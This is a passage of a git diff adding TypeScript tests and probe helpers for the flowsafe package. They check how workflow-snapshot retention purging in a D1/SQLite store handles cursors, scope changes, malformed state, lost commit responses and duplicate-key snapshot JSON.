instance.fetch(internalRequest('/ensure', 'POST')); + + await nextPurge(instance, internalRequest); + + expect(await storage.get(RETENTION_CURSOR_KEY)).toEqual({ + version: 1, + tablePrefix: '', + startIdempotencyTable: START_IDEMPOTENCY_TABLE, + snapshots: { afterRowId: 90, highWaterRowId: 92 }, + reservations: { afterRowId: 90, highWaterRowId: 91 }, + }); + expect(artifactCalls).toEqual(poisonIds.slice(0, 90)); + expect(await snapshotIds(env)).toEqual([...poisonIds, 'eligible']); + expect(await reservationKeys(env)).toContain('eligible-orphan'); + + await insertRetentionSnapshot(env, 'late'); + await insertRetentionReservation(env, 'late-orphan'); + artifactCalls.length = 0; + const second = reconstruct(); + const secondHealth = await nextPurge(second, internalRequest); + + expect(artifactCalls).toEqual(['poison-90', 'eligible']); + expect(await snapshotIds(env)).toEqual([...poisonIds, 'late']); + expect(await reservationKeys(env)).toEqual([...heldKeys, 'late-orphan']); + expect(await storage.get(RETENTION_CURSOR_KEY)).toEqual({ + version: 1, + tablePrefix: '', + startIdempotencyTable: START_IDEMPOTENCY_TABLE, + }); + expect(secondHealth.alarmAt).toBeGreaterThan( + secondHealth.lastPurgeAttemptAt ?? 0, + ); + + const recoveredArtifacts: string[] = []; + const third = reconstruct({ + artifactStore: () => ({ + deleteRun: async (_workflowId, runId) => { + recoveredArtifacts.push(runId); + return 0; + }, + }), + }); + await nextPurge(third, internalRequest); + expect(recoveredArtifacts).toEqual(poisonIds.slice(0, 90)); + const fourth = reconstruct({ + artifactStore: () => ({ deleteRun: async () => 0 }), + }); + await nextPurge(fourth, internalRequest); + expect(await snapshotIds(env)).toEqual([]); + expect(await reservationKeys(env)).toEqual(heldKeys); + }); + + it.each([ + { tablePrefix: 'retired_', startIdempotencyTable: START_IDEMPOTENCY_TABLE }, + { tablePrefix: 'tenant_', startIdempotencyTable: 'retired_reservations' }, + { tablePrefix: 'tenant_' }, + ])('resets a valid stored scope when configuration changes: %j', async (scope) => { + vi.useFakeTimers(); + vi.setSystemTime(NOW); + vi.spyOn(console, 'log').mockImplementation(() => {}); + vi.spyOn(console, 'error').mockImplementation(() => {}); + const { env, instance, storage, internalRequest, reconstruct } = harness(); + await createRetentionSnapshots(env, 'tenant_'); + await createRetentionSnapshots(env, 'retired_'); + await insertRetentionSnapshot(env, 'eligible', 'tenant_'); + await insertRetentionSnapshot(env, 'other-scope', 'retired_'); + await instance.fetch(internalRequest('/ensure', 'POST')); + await storage.put(RETENTION_CURSOR_KEY, { + version: 1, + ...scope, + snapshots: { afterRowId: 100, highWaterRowId: 200 }, + }); + + const changed = reconstruct({ storageTablePrefix: 'TeNaNt_' }); + const health = await nextPurge(changed, internalRequest); + + expect(health.lastPurgeError).toBeUndefined(); + expect(await snapshotIds(env, 'tenant_')).toEqual([]); + expect(await snapshotIds(env, 'retired_')).toEqual(['other-scope']); + expect(await storage.get(RETENTION_CURSOR_KEY)).toEqual({ + version: 1, + tablePrefix: 'tenant_', + startIdempotencyTable: START_IDEMPOTENCY_TABLE, + }); + }); + + it('preserves a matching canonical scope across reconstruction', async () => { + vi.useFakeTimers(); + vi.setSystemTime(NOW); + vi.spyOn(console, 'log').mockImplementation(() => {}); + vi.spyOn(console, 'error').mockImplementation(() => {}); + const { env, instance, storage, internalRequest, reconstruct } = harness(); + await createRetentionSnapshots(env, 'tenant_'); + await insertRetentionSnapshot(env, 'already-scanned', 'tenant_'); + await insertRetentionSnapshot(env, 'eligible', 'tenant_'); + await instance.fetch(internalRequest('/ensure', 'POST')); + await storage.put(RETENTION_CURSOR_KEY, { + version: 1, + tablePrefix: 'tenant_', + startIdempotencyTable: START_IDEMPOTENCY_TABLE, + snapshots: { afterRowId: 1, highWaterRowId: 2 }, + }); + + await nextPurge( + reconstruct({ storageTablePrefix: 'TeNaNt_' }), + internalRequest, + ); + + expect(await snapshotIds(env, 'tenant_')).toEqual(['already-scanned']); + expect( + await storage.get(RETENTION_CURSOR_KEY), + ).not.toHaveProperty('snapshots'); + }); + + it.each([ + null, + false, + 0, + '', + [], + {}, + { version: 2, tablePrefix: '' }, + { version: 1, tablePrefix: '', snapshots: null }, + { + version: 1, + tablePrefix: '', + snapshots: { afterRowId: 2, highWaterRowId: 1 }, + }, + { + version: 1, + tablePrefix: 'retired_', + snapshots: { afterRowId: 0.5, highWaterRowId: 2 }, + }, + { + version: 1, + tablePrefix: '', + reservations: { afterRowId: 1, highWaterRowId: 2 }, + }, + ])('refuses malformed stored retention state while preserving sibling duties: %j', async (stored) => { + vi.useFakeTimers(); + vi.setSystemTime(NOW); + vi.spyOn(console, 'log').mockImplementation(() => {}); + vi.spyOn(console, 'error').mockImplementation(() => {}); + const artifactStore = vi.fn(() => ({ deleteRun: async () => 0 })); + const extraPurgeDuties = vi.fn(async () => ({ extra: true })); + const { env, instance, storage, internalRequest } = harness({ + config: { artifactStore, extraPurgeDuties }, + }); + await createRetentionSnapshots(env); + await insertRetentionSnapshot(env, 'eligible'); + await instance.fetch(internalRequest('/ensure', 'POST')); + await storage.put(RETENTION_CURSOR_KEY, stored); + + const health = await nextPurge(instance, internalRequest); + + expect(health.lastPurgeAt).toBeUndefined(); + expect(health.lastPurgeError).toContain('retention-purge'); + expect(health.lastSweepAt).toBe(NOW); + expect(health.lastDeadlineAt).toBe(NOW); + expect(health.alarmAt).toBeGreaterThan(NOW); + expect(artifactStore).not.toHaveBeenCalled(); + expect(extraPurgeDuties).toHaveBeenCalledOnce(); + expect(await snapshotIds(env)).toEqual(['eligible']); + expect(await storage.get(RETENTION_CURSOR_KEY)).toEqual(stored); + expect( + await env.DB.prepare( + "SELECT name FROM sqlite_schema WHERE name = 'flowsafe_resource_owners'", + ).all(), + ).toMatchObject({ results: [] }); + }); + + it.each([ + 'rollback', + 'response loss', + ] as const)('stops orphan retention after cursor persistence %s and safely resumes in a new instance', async (failure) => { + vi.useFakeTimers(); + vi.setSystemTime(NOW); + vi.spyOn(console, 'log').mockImplementation(() => {}); + vi.spyOn(console, 'error').mockImplementation(() => {}); + const artifactCalls: string[] = []; + const extraPurgeDuties = vi.fn(async () => ({ extra: true })); + const { env, instance, storage, internalRequest, reconstruct } = harness({ + config: { + extraPurgeDuties, + artifactStore: () => ({ + deleteRun: async (_workflowId, runId) => { + artifactCalls.push(runId); + expect(storage.events.slice(-2)).toEqual([ + 'transaction-put', + 'transaction-alarm', + ]); + expect(storage.alarmAt).toBeGreaterThan(NOW); + return 0; + }, + }), + }, + }); + await createRetentionSnapshots(env); + await insertRetentionSnapshot(env, 'eligible'); + await env.DB.prepare(START_IDEMPOTENCY_DDL).run(); + await insertRetentionReservation(env, 'orphan'); + const deadlineCursor = { + workflowId: 'wf', + runId: 'previous', + deadlineAt: NOW - 1, + }; + await storage.put( + 'flowsafe:maintenance-deadline-cursor:v1', + deadlineCursor, + ); + await instance.fetch(internalRequest('/ensure', 'POST')); + if (failure === 'rollback') storage.failPutKey = RETENTION_CURSOR_KEY; + else storage.losePutResponseKey = RETENTION_CURSOR_KEY; + + const health = await nextPurge(instance, internalRequest); + + expect(health.lastPurgeError).toContain('retention-purge'); + expect(health.lastPurgeAt).toBeUndefined(); + expect(health.alarmAt).toBeGreaterThan(NOW); + expect(artifactCalls).toEqual(['eligible']); + expect(await snapshotIds(env)).toEqual([]); + expect(await reservationKeys(env)).toEqual(['orphan']); + expect(extraPurgeDuties).toHaveBeenCalledOnce(); + expect( + await storage.get('flowsafe:maintenance-deadline-cursor:v1'), + ).toEqual(deadlineCursor); + const cursor = await storage.get(RETENTION_CURSOR_KEY); + if (failure === 'rollback') expect(cursor).toBeUndefined(); + else + expect(cursor).toEqual({ + version: 1, + tablePrefix: '', + startIdempotencyTable: START_IDEMPOTENCY_TABLE, + }); + + storage.failPutKey = undefined; + storage.losePutResponseKey = undefined; + const recovered = await nextPurge(reconstruct(), internalRequest); + expect(recovered.lastPurgeError).toBeUndefined(); + expect(recovered.lastPurgeAt).toBe(NOW + 60 * 60 * 1_000); + expect(await reservationKeys(env)).toEqual([]); + expect(artifactCalls).toEqual(['eligible']); + expect(extraPurgeDuties).toHaveBeenCalledTimes(2); + }); + + it('does not checkpoint a committed D1 mutation with a lost response and retries safely after reconstruction', async () => { + vi.useFakeTimers(); + vi.setSystemTime(NOW); + vi.spyOn(console, 'log').mockImplementation(() => {}); + vi.spyOn(console, 'error').mockImplementation(() => {}); + let retentionBatch = false; + const extraPurgeDuties = vi.fn(async () => ({ extra: true })); + const { env, instance, storage, internalRequest, reconstruct } = harness({ + config: { + extraPurgeDuties, + artifactStore: () => ({ + deleteRun: async () => { + retentionBatch = true; + return 0; + }, + }), + }, + }); + await createRetentionSnapshots(env); + await insertRetentionSnapshot(env, 'eligible'); + await env.DB.prepare(START_IDEMPOTENCY_DDL).run(); + await insertRetentionReservation(env, 'orphan'); + const db = env.DB; + const batch = db.batch?.bind(db); + if (!batch) throw new Error('SQLite fixture requires batch'); + env.DB = { + prepare: db.prepare.bind(db), + batch: async (statements) => { + const results = await batch(statements); + if (retentionBatch) { + retentionBatch = false; + throw new Error('D1 response lost after commit'); + } + return results; + }, + }; + await instance.fetch(internalRequest('/ensure', 'POST')); + + const health = await nextPurge(instance, internalRequest); + + expect(health.lastPurgeError).toContain('D1 response lost after commit'); + expect(health.lastPurgeAt).toBeUndefined(); + expect(await storage.get(RETENTION_CURSOR_KEY)).toBeUndefined(); + expect(await snapshotIds(env)).toEqual([]); + expect(await reservationKeys(env)).toEqual(['orphan']); + expect(extraPurgeDuties).toHaveBeenCalledOnce(); + expect(health.alarmAt).toBeGreaterThan(NOW); + + const recovered = await nextPurge(reconstruct(), internalRequest); + expect(recovered.lastPurgeError).toBeUndefined(); + expect(await reservationKeys(env)).toEqual([]); + expect(await storage.get(RETENTION_CURSOR_KEY)).toEqual({ + version: 1, + tablePrefix: '', + startIdempotencyTable: START_IDEMPOTENCY_TABLE, + }); + }); + it('consumes one-shot capabilities and signs a nonce-bound result', async () => { vi.useFakeTimers(); vi.setSystemTime(NOW); @@ -387,7 +848,8 @@ describe('alarm-driven deployment maintenance', () => { resourceId TEXT, snapshot TEXT NOT NULL, createdAt TEXT NOT NULL, - updatedAt TEXT NOT NULL + updatedAt TEXT NOT NULL, + UNIQUE(workflow_name, run_id) )`, ) .run(); diff --git a/packages/flowsafe/test-support/harness-probe.ts b/packages/flowsafe/test-support/harness-probe.ts index 7610c164..ae2e4d4b 100644 --- a/packages/flowsafe/test-support/harness-probe.ts +++ b/packages/flowsafe/test-support/harness-probe.ts @@ -12,8 +12,27 @@ import { createD1Storage, purgeExpiredThreads, purgeExpiredWorkflowRuns, + type RunRetentionCursor, } from '../src/do-runner/d1-storage.js'; import { seedDeploymentIdentity } from '../src/do-runner/deployment-identity.js'; +import { ExecutionFenceStore } from '../src/do-runner/execution-fence.js'; +import { FENCED_WORKFLOW_STORAGE } from '../src/do-runner/fenced-workflow-capability.js'; +import { FencedWorkflowsStorageD1 } from '../src/do-runner/fenced-workflows-d1.js'; +import { isDefinitiveInitialAdmissionRefusal } from '../src/do-runner/initial-admission-refusal.js'; +import { + parseRunLifecycle, + projectTerminalLifecycle, +} from '../src/do-runner/run-lifecycle.js'; +import { + START_IDEMPOTENCY_ADDITIONS, + START_IDEMPOTENCY_DDL, + START_IDEMPOTENCY_TABLE, +} from '../src/do-runner/start-reservation-contract.js'; +import { validateTablePrefix } from '../src/do-runner/table-prefix.js'; +import type { + SnapshotDatabase, + SnapshotStatement, +} from '../src/do-runner/workflow-snapshot-row.js'; import { D1SchedulesStorage } from '../src/schedules/schedules-d1.js'; import { scheduleWithCreatorRole } from '../src/schedules/target-policy.js'; import { D1NotificationsStorage } from '../src/signals/notifications-d1.js'; @@ -394,12 +413,14 @@ async function backgroundProbe(db: D1Database): Promise { }; } -async function createSnapshotTable(db: D1Database): Promise { +async function createSnapshotTable(db: D1Database, prefix = ''): Promise { + validateTablePrefix(prefix); await db .prepare( - `CREATE TABLE mastra_workflow_snapshot ( + `CREATE TABLE ${prefix}mastra_workflow_snapshot ( workflow_name TEXT NOT NULL, run_id TEXT NOT NULL, + resourceId TEXT, snapshot TEXT NOT NULL, createdAt TEXT NOT NULL, updatedAt TEXT NOT NULL, @@ -510,6 +531,7 @@ async function retentionProbe(db: D1Database): Promise { const purgePromise = purgeExpiredWorkflowRuns(db, { ttlMs: 7 * DAY_MS, now: () => NOW, + advanceCursor: async () => {}, }); const updatePromise = db .prepare( @@ -552,6 +574,7 @@ async function retentionProbe(db: D1Database): Promise { ttlMs: 7 * DAY_MS, now: () => NOW, resourceOwnerTable: RESOURCE_OWNERSHIP_TABLE, + advanceCursor: async () => {}, }); } catch (error) { rollbackError = String(error); @@ -573,6 +596,1462 @@ async function retentionProbe(db: D1Database): Promise { }; } +const E_PREFIX = 'e_retention_'; +const E_TABLE = `${E_PREFIX}mastra_workflow_snapshot`; +const E_KEYS = 'e_retention_start_requests'; +const E_OLD = new Date(NOW - 8 * DAY_MS).toISOString(); +const E_OWNER = { kind: 'human' as const, id: 'Resource owner' }; +const E_START = { + owner: { kind: 'human' as const, id: 'Initiating principal' }, + target: { kind: 'agent' as const, id: 'logical-agent', threadId: 'thread' }, +}; +const encoder = new TextEncoder(); + +function retentionSnapshot(token = 'generation-one') { + return { + status: 'success', + requestContext: { + 'flowsafe.runProvenance': { + version: 2, + startToken: token, + startIdentity: E_START, + agentStart: { threaded: false }, + }, + }, + }; +} + +function insertRetentionSnapshot( + db: D1Database, + runId: string, + snapshot: unknown = retentionSnapshot(), + prefix = E_PREFIX, + workflow = 'physical-workflow', +) { + validateTablePrefix(prefix); + return db + .prepare(`INSERT INTO "${prefix}mastra_workflow_snapshot" + (workflow_name, run_id, snapshot, createdAt, updatedAt) + VALUES (?, ?, ?, ?, ?)`) + .bind( + workflow, + runId, + typeof snapshot === 'string' ? snapshot : JSON.stringify(snapshot), + E_OLD, + E_OLD, + ); +} + +async function createRetentionKeys(db: D1Database, stage = 3) { + const additions = START_IDEMPOTENCY_ADDITIONS.join(',\n '); + await db + .prepare( + START_IDEMPOTENCY_DDL.replace(START_IDEMPOTENCY_TABLE, E_KEYS).replace( + `,\n ${additions}`, + stage === 0 + ? '' + : `,\n ${START_IDEMPOTENCY_ADDITIONS.slice(0, stage).join(',\n ')}`, + ), + ) + .run(); +} + +function insertRetentionKey( + db: D1Database, + key: string, + runId: string, + patch: Record = {}, + stage = 3, +) { + const row: Record = { + key, + owner_kind: E_START.owner.kind, + owner_id: E_START.owner.id, + target_kind: E_START.target.kind, + target_id: E_START.target.id, + run_id: runId, + thread_id: E_START.target.threadId, + state: 'terminal', + created_at: NOW - 9 * DAY_MS, + updated_at: NOW - 8 * DAY_MS, + ...Object.fromEntries( + [ + ['start_token', 'generation-one'], + ['start_table_prefix', E_PREFIX], + ['start_workflow_id', 'physical-workflow'], + ].slice(0, stage), + ), + ...patch, + }; + return db + .prepare(`INSERT INTO ${E_KEYS} (${Object.keys(row).join(', ')}) + VALUES (${Object.keys(row) + .map(() => '?') + .join(', ')})`) + .bind(...Object.values(row)); +} + +function measuredRetentionDatabase( + db: D1Database, + beforeBatch?: (ordinal: number) => Promise, + beforeRead?: (sql: string, values: readonly unknown[]) => Promise, +) { + const statements = new WeakMap< + SnapshotStatement, + { native: D1PreparedStatement; sql: string; values: unknown[] } + >(); + const metrics = { + statements: 0, + batches: 0, + maxSqlBytes: 0, + maxBindings: 0, + maxBoundStringBytes: 0, + maxSelectorBytes: 0, + maxResultBytes: 0, + rowsRead: 0, + rowsWritten: 0, + sqlDurationMs: 0, + }; + const recordStatement = (statement: SnapshotStatement) => { + const entry = statements.get(statement); + if (!entry) throw new Error('foreign measured statement'); + metrics.statements += 1; + metrics.maxSqlBytes = Math.max( + metrics.maxSqlBytes, + encoder.encode(entry.sql).length, + ); + metrics.maxBindings = Math.max(metrics.maxBindings, entry.values.length); + for (const value of entry.values) { + if (typeof value !== 'string') continue; + const bytes = encoder.encode(value).length; + metrics.maxBoundStringBytes = Math.max( + metrics.maxBoundStringBytes, + bytes, + ); + if (value.startsWith('[')) + metrics.maxSelectorBytes = Math.max(metrics.maxSelectorBytes, bytes); + } + }; + const recordResult = (outcome: D1Result) => { + metrics.maxResultBytes = Math.max( + metrics.maxResultBytes, + encoder.encode(JSON.stringify(outcome.results)).length, + ); + metrics.rowsRead += outcome.meta.rows_read; + metrics.rowsWritten += outcome.meta.rows_written; + metrics.sqlDurationMs += outcome.meta.duration; + }; + const wrap = (sql: string, values: unknown[]): SnapshotStatement => { + const prepared = db.prepare(sql); + const native = values.length ? prepared.bind(...values) : prepared; + const statement: SnapshotStatement = { + bind: (...bindings) => wrap(sql, bindings), + run: async () => { + recordStatement(statement); + const outcome = await native.run(); + recordResult(outcome); + return outcome; + }, + all: async () => { + await beforeRead?.(sql, values); + recordStatement(statement); + const outcome = await native.all(); + recordResult(outcome); + return outcome; + }, + }; + statements.set(statement, { native, sql, values }); + return statement; + }; + const database: SnapshotDatabase & Required> = + { + prepare: (sql) => wrap(sql, []), + batch: async (batch) => { + metrics.batches += 1; + await beforeBatch?.(metrics.batches); + const results = await db.batch( + batch.map((statement) => { + recordStatement(statement); + const entry = statements.get(statement); + if (!entry) throw new Error('foreign batch statement'); + return entry.native; + }), + ); + results.forEach((outcome) => { + recordResult(outcome); + }); + return results; + }, + }; + return { database, metrics }; +} + +function retentionOptions(advances: RunRetentionCursor[]) { + return { + tablePrefix: E_PREFIX, + ttlMs: 7 * DAY_MS, + now: () => NOW, + advanceCursor: async (cursor: RunRetentionCursor) => { + advances.push(structuredClone(cursor)); + }, + }; +} + +async function retentionState(db: D1Database) { + const [snapshots, keys, owners] = await Promise.all([ + db + .prepare( + `SELECT workflow_name, run_id, snapshot, updatedAt FROM ${E_TABLE} ORDER BY workflow_name, run_id`, + ) + .all(), + db.prepare(`SELECT * FROM ${E_KEYS} ORDER BY key`).all(), + db + .prepare( + `SELECT * FROM ${RESOURCE_OWNERSHIP_TABLE} WHERE resource_id GLOB 'e-retention-*' ORDER BY resource_id`, + ) + .all(), + ]); + return { + snapshots: snapshots.results, + keys: keys.results, + owners: owners.results, + }; +} + +async function cleanupRetentionProbe(db: D1Database) { + const tables = await db + .prepare(`SELECT name, type FROM sqlite_schema + WHERE name GLOB 'e_retention_*' AND type IN ('table', 'view')`) + .all<{ name: string; type: string }>(); + for (const { name, type } of tables.results) { + if (!/^[a-zA-Z0-9_]+$/.test(name)) throw new Error('invalid probe table'); + await db + .prepare(`DROP ${type === 'view' ? 'VIEW' : 'TABLE'} "${name}"`) + .run(); + } + const ownerTable = await db + .prepare(`SELECT name FROM sqlite_schema WHERE name = ?`) + .bind(RESOURCE_OWNERSHIP_TABLE) + .first(); + if (ownerTable) + await db + .prepare( + `DELETE FROM ${RESOURCE_OWNERSHIP_TABLE} WHERE resource_id GLOB 'e-retention-*'`, + ) + .run(); + return { + remaining: ( + await db + .prepare( + `SELECT name FROM sqlite_schema WHERE name GLOB 'e_retention_*'`, + ) + .all() + ).results, + }; +} + +async function heldRetentionProbe(db: D1Database, variant: string) { + await createSnapshotTable(db, E_PREFIX); + if (variant !== 'reservation-schema') await createRetentionKeys(db); + const resources = new D1ResourceOwnershipStore(db); + const runId = 'e-retention-held'; + await resources.claim('run', runId, E_OWNER); + const legacy = variant === 'legacy'; + await insertRetentionSnapshot( + db, + runId, + legacy ? { status: 'success', value: 'old' } : retentionSnapshot(), + ).run(); + if (variant !== 'reservation-schema') + await insertRetentionKey(db, 'held-key', runId, { state: 'started' }).run(); + const advances: RunRetentionCursor[] = []; + let artifacts = 0; + let intervened: Awaited> | undefined; + const measured = measuredRetentionDatabase( + db, + variant === 'schema-churn' + ? async (ordinal) => { + await createSnapshotTable(db, `${E_PREFIX}churn${ordinal}_`); + } + : undefined, + ); + let purged: number | undefined; + let error: string | undefined; + try { + purged = await purgeExpiredWorkflowRuns(measured.database, { + ...retentionOptions(advances), + resourceOwnerTable: RESOURCE_OWNERSHIP_TABLE, + startIdempotencyTable: E_KEYS, + artifactStore: { + deleteRun: async () => { + artifacts += 1; + if (variant === 'reservation-schema') { + await createRetentionKeys(db); + await insertRetentionKey(db, 'held-key', runId, { + state: 'started', + }).run(); + } else if (variant === 'schema-view') { + await db + .prepare( + `CREATE VIEW ${E_PREFIX}view_mastra_workflow_snapshot AS SELECT * FROM ${E_TABLE}`, + ) + .run(); + } else if (variant === 'schema' || variant === 'schema-churn') { + if (variant === 'schema') { + await createSnapshotTable(db, `${E_PREFIX}sibling_`); + await insertRetentionSnapshot( + db, + runId, + '{malformed', + `${E_PREFIX}sibling_`, + ).run(); + } + } else if (variant === 'eligibility') { + await db + .prepare(`UPDATE ${E_TABLE} SET updatedAt = ?`) + .bind(new Date(NOW).toISOString()) + .run(); + } else { + const snapshot = retentionSnapshot( + variant === 'generation' ? 'generation-two' : 'generation-one', + ); + const provenance = + snapshot.requestContext['flowsafe.runProvenance']; + let replacement: unknown = snapshot; + if (variant === 'capsule') + provenance.startIdentity = { + ...E_START, + owner: { kind: 'human', id: 'Different initiator' }, + }; + if (variant === 'boolean') + replacement = JSON.stringify(snapshot).replace( + '"threaded":false', + '"threaded":0', + ); + if (variant === 'null') + replacement = JSON.stringify(snapshot).replace( + '"agentStart":{"threaded":false}', + '"agentStart":null', + ); + if (variant === 'duplicate') + replacement = JSON.stringify(snapshot).replace( + '"startToken":"generation-one"', + '"startToken":"generation-one","startToken":"generation-two"', + ); + if (variant === 'legacy') + replacement = { status: 'success', value: 'replacement' }; + await db + .prepare(`UPDATE ${E_TABLE} SET snapshot = ?`) + .bind( + typeof replacement === 'string' + ? replacement + : JSON.stringify(replacement), + ) + .run(); + } + intervened = await retentionState(db); + return 0; + }, + }, + }); + } catch (caught) { + error = String(caught); + } + return { + purged, + error, + artifacts, + advances, + intervened, + after: await retentionState(db), + metrics: measured.metrics, + }; +} + +async function duplicateEligibilityRetentionProbe( + db: D1Database, + phase: 'initial' | 'held', +) { + await createSnapshotTable(db, E_PREFIX); + await createRetentionKeys(db); + const resources = new D1ResourceOwnershipStore(db); + const cases = [ + 'status', + 'escaped-status', + 'request-context', + 'lifecycle', + 'terminal', + 'cleanup', + 'success-control', + 'cleanup-control', + ].map((variant) => { + const runId = `e-retention-eligibility-${variant}`; + const complete = { + ...createEmptyWorkflowSnapshot(runId), + ...retentionSnapshot(), + status: + variant === 'status' || + variant === 'escaped-status' || + variant === 'success-control' + ? 'success' + : 'cancelled', + requestContext: { + ...retentionSnapshot().requestContext, + 'flowsafe.runLifecycle': { terminal: { cleanupCompletedAt: 1 } }, + }, + }; + const eligible = JSON.stringify(complete); + let snapshot = eligible; + switch (variant) { + case 'status': + snapshot = eligible.replace( + '"status":"success"', + '"status":"success","status":"running"', + ); + break; + case 'escaped-status': + snapshot = eligible.replace( + '"status":"success"', + '"status":"success","sta\\u0074us":"running"', + ); + break; + case 'request-context': { + const context = JSON.stringify(complete.requestContext); + snapshot = eligible.replace( + `"requestContext":${context}`, + `"requestContext":${context},"requestContext":${context.replace( + '"cleanupCompletedAt":1', + '"cleanupCompletedAt":null', + )}`, + ); + break; + } + case 'lifecycle': + snapshot = eligible.replace( + '"flowsafe.runLifecycle":{"terminal":{"cleanupCompletedAt":1}}', + '"flowsafe.runLifecycle":{"terminal":{"cleanupCompletedAt":1}},"flowsafe.runLifecycle":{"terminal":{"cleanupCompletedAt":null}}', + ); + break; + case 'terminal': + snapshot = eligible.replace( + '"terminal":{"cleanupCompletedAt":1}', + '"terminal":{"cleanupCompletedAt":1},"terminal":{"cleanupCompletedAt":null}', + ); + break; + case 'cleanup': + snapshot = eligible.replace( + '"cleanupCompletedAt":1', + '"cleanupCompletedAt":1,"cleanupCompletedAt":null', + ); + break; + } + return { variant, runId, eligible, snapshot }; + }); + for (const candidate of cases) + await resources.claim('run', candidate.runId, E_OWNER); + await db.batch( + cases.flatMap(({ runId, eligible, snapshot }) => [ + insertRetentionSnapshot( + db, + runId, + phase === 'held' ? eligible : snapshot, + ), + insertRetentionKey(db, `${runId}-expired`, runId), + insertRetentionKey(db, `${runId}-started`, runId, { state: 'started' }), + ]), + ); + const before = await retentionState(db); + const advances: RunRetentionCursor[] = []; + const artifacts: string[] = []; + const measured = measuredRetentionDatabase(db); + const purged = await purgeExpiredWorkflowRuns(measured.database, { + ...retentionOptions(advances), + resourceOwnerTable: RESOURCE_OWNERSHIP_TABLE, + startIdempotencyTable: E_KEYS, + artifactStore: { + deleteRun: async (_workflowId, runId) => { + artifacts.push(runId); + if (phase === 'held') { + const candidate = cases.find((entry) => entry.runId === runId); + if (!candidate) throw new Error('unexpected retention candidate'); + await db + .prepare(`UPDATE ${E_TABLE} SET snapshot = ? WHERE run_id = ?`) + .bind(candidate.snapshot, runId) + .run(); + } + return 0; + }, + }, + }); + const sqlEligibility = await db.batch( + cases.map(({ snapshot }) => + db + .prepare(`SELECT json_extract(?1, '$.status') AS status, + json_extract(?1, '$.requestContext."flowsafe.runLifecycle".terminal.cleanupCompletedAt') AS cleanup`) + .bind(snapshot), + ), + ); + return { + cases: cases.map(({ variant, runId, snapshot }, index) => ({ + variant, + runId, + snapshot, + sqlEligibility: sqlEligibility[index]?.results[0], + })), + purged, + artifacts, + advances, + before, + after: await retentionState(db), + metrics: measured.metrics, + }; +} + +async function cleanupTimestampRetentionProbe( + db: D1Database, + format: 'modern' | 'legacy', + phase: 'initial' | 'held' | 'reread', +) { + await createSnapshotTable(db, E_PREFIX); + await createRetentionKeys(db); + const resources = new D1ResourceOwnershipStore(db); + const cases = [ + ['boolean', 'false'], + ['string', '"done"'], + ['object', '{}'], + ['negative', '-1'], + ['fractional', '0.5'], + ['unsafe', '9007199254740992'], + ['infinite', '1e309'], + ['zero-control', '0'], + ['real-control', '1.0'], + ['exponent-control', '1e0'], + ['safe-max-control', '9007199254740991'], + ].map(([variant, marker], index) => { + const runId = `e-retention-time-${variant}`; + const status = index % 2 === 0 ? 'cancelled' : 'timed_out'; + const lifecycle = projectTerminalLifecycle(undefined, status, 0, [ + E_START.owner, + ]); + lifecycle.terminal.cleanupCompletedAt = 1; + parseRunLifecycle(lifecycle); + const eligible = JSON.stringify({ + ...createEmptyWorkflowSnapshot(runId), + status, + requestContext: { + ...(format === 'modern' ? retentionSnapshot().requestContext : {}), + 'flowsafe.runLifecycle': lifecycle, + }, + }); + const snapshot = eligible.replace( + '"cleanupCompletedAt":1', + `"cleanupCompletedAt":${marker}`, + ); + let accepted = true; + try { + parseRunLifecycle( + JSON.parse(snapshot).requestContext['flowsafe.runLifecycle'], + ); + } catch { + accepted = false; + } + return { variant, runId, eligible, snapshot, accepted }; + }); + const binding: Record = + format === 'legacy' + ? { + start_token: null, + start_table_prefix: null, + start_workflow_id: null, + } + : {}; + for (const candidate of cases) + await resources.claim('run', candidate.runId, E_OWNER); + await db.batch( + cases.flatMap(({ runId, eligible, snapshot, accepted }) => [ + insertRetentionSnapshot( + db, + runId, + phase === 'initial' || accepted ? snapshot : eligible, + ), + insertRetentionKey(db, `${runId}-expired`, runId, binding), + insertRetentionKey(db, `${runId}-started`, runId, { + ...binding, + state: 'started', + }), + ]), + ); + const replace = async (runId: unknown) => { + const candidate = cases.find((entry) => entry.runId === runId); + if (!candidate) throw new Error('unexpected cleanup timestamp candidate'); + await db + .prepare(`UPDATE ${E_TABLE} SET snapshot = ? WHERE run_id = ?`) + .bind(candidate.snapshot, candidate.runId) + .run(); + }; + const before = await retentionState(db); + const rawReads: unknown[] = []; + const measured = measuredRetentionDatabase( + db, + undefined, + async (sql, values) => { + if ( + !sql.startsWith( + 'SELECT workflow_name, run_id, resourceId, snapshot, createdAt, updatedAt', + ) || + !sql.includes(`FROM "${E_TABLE}"`) + ) + return; + rawReads.push(values[1]); + if (phase === 'reread') await replace(values[1]); + }, + ); + const advances: RunRetentionCursor[] = []; + const artifacts: string[] = []; + const purged = await purgeExpiredWorkflowRuns(measured.database, { + ...retentionOptions(advances), + resourceOwnerTable: RESOURCE_OWNERSHIP_TABLE, + startIdempotencyTable: E_KEYS, + artifactStore: { + deleteRun: async (_workflowId, runId) => { + artifacts.push(runId); + if (phase === 'held') await replace(runId); + return 0; + }, + }, + }); + const jsonTypes = await db.batch<{ type: string }>( + cases.map(({ snapshot }) => + db + .prepare( + `SELECT json_type(?, '$.requestContext."flowsafe.runLifecycle".terminal.cleanupCompletedAt') AS type`, + ) + .bind(snapshot), + ), + ); + return { + cases: cases.map(({ eligible: _eligible, ...candidate }, index) => ({ + ...candidate, + sqlType: jsonTypes[index]?.results[0]?.type, + })), + purged, + artifacts, + rawReads, + advances, + before, + after: await retentionState(db), + metrics: measured.metrics, + }; +} + +async function ownerAdmissionRetentionProbe(db: D1Database, order: string) { + await createSnapshotTable(db, E_PREFIX); + const resources = new D1ResourceOwnershipStore(db); + const runId = 'e-retention-reused'; + const claimed = await resources.claim('run', runId, E_OWNER); + const reserved = await resources.reserveAll( + [{ kind: 'run', resourceId: runId }], + E_OWNER, + 'correlation', + ); + const beforeOwner = await db + .prepare( + `SELECT owner_id, reservation_token FROM ${RESOURCE_OWNERSHIP_TABLE} WHERE resource_id = ?`, + ) + .bind(runId) + .first(); + await insertRetentionSnapshot(db, runId).run(); + const fence = new ExecutionFenceStore(db); + const domain = new FencedWorkflowsStorageD1({ + binding: db, + tablePrefix: E_PREFIX, + }); + const capability = domain[FENCED_WORKFLOW_STORAGE]; + if (!capability) throw new Error('fenced admission capability missing'); + const startIdentity = { + owner: E_START.owner, + target: { kind: 'workflow' as const, id: 'new-physical-workflow' }, + }; + const execution = { + tablePrefix: E_PREFIX, + workflowId: startIdentity.target.id, + runId, + startToken: 'new-generation', + }; + let admission: unknown; + let definitive = false; + const admit = async () => { + try { + const admitted = 